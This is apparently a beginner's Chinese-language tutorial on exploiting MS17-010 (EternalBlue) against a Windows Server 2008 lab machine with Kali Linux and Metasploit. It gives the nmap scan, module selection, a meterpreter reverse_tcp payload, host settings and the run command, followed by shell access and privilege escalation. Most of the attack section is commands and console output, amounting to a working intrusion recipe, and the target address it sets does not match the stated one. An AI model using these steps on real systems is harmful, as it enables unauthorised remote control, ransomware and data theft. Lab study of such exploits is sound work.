永恒之蓝利用方法
恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
目标靶机：windows2008Server(存在MS17_010漏洞)
操作机系统：Kali linux
攻击机IP:10.60.14.143
靶机IP:10.60.14.99
进入Kali系统，点击右键，进入终端，输入命令sudo su 是当前用户获得超级管理员的权限，需要输入当前用户的密码，权限后，$将会变成#, $为普通用户的标识，#为超级管理员用户(root)的标识。
使用nmap扫描靶机及它的开放端口，nmap -sS 10.60.14.99，如下所示，我们会发现靶机的445端口开了，445端口是一个用于分享的端口，永恒之蓝正式利用了这个端口才能入侵到别人的电脑，
root@kali:~# nmap -sS 10.60.14.99
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-17 11:15 EDT
Nmap scan report for bogon (10.60.14.99)
Host is up (0.0011s latency).

49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 00:0C:29:2C:35:2C (VMware)接下来输入msfconsole，启动Metasploit命令行界面，成功之后如下所示

MAC Address: 00:0C:29:2C:35:2C (VMware)然后查找ms17_010,代码及结果如下 search ms17_010
msf > search ms17_010

exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution然后利用第三个（ms17_101）代码攻击靶机，植入漏洞 use exploit/windows/smb/ms17_010_eternalblue
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) >
继续，使用rhost设置目标主机，也就是靶机 set rhost 10.60.14.9
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.60.14.9
rhost => 10.60.14.9
使用payload设置攻击荷载 set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp然后查看选项是否设置好 show options
msf exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description

0 Windows 7 and Server 2008 R2 (x64) All Service Packs前面既然设置了目标靶机，那我们我还需要设置攻击机，就是你用来攻击别人的那台机器 set lhost 10.60.14.143
msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.60.14.143
lhost => 10.60.14.143前面的步骤我们都做好了，那么我们就可以发起攻击了，输入run或exploit
msf exploit(windows/smb/ms17_010_eternalblue) > run

这样我们就已经进入到靶机了，接下来你可以使用shell打开靶机命令行，使用getsystem提升权限等操作。如何简单的利用ms17_010,就先写到这儿，以后有啥收获我也会过来补充。
遇到的问题：
- 当我输入msfconsole启动Metasploit命令行界面时，遇到连接数据库失败，不能连接到服务器，连接被拒绝
root@kali:~# msfconsole
[-] Failed to connect to the database: could not connect to server: Connection refusedmsfconsole命令被停止
msf >
[1]+ Stopped msfconsole在网上查找了一些资料后找到了解决的方法，我们需要先启动msf的database(数据库)，输入命令启动后，再输入msfconsole就可以了

惭愧，技术太过浅薄，网上很多大佬的分析我还看不懂，也无法给出自己的理解，不过我才刚入门一周，以后学习有成回来补上！
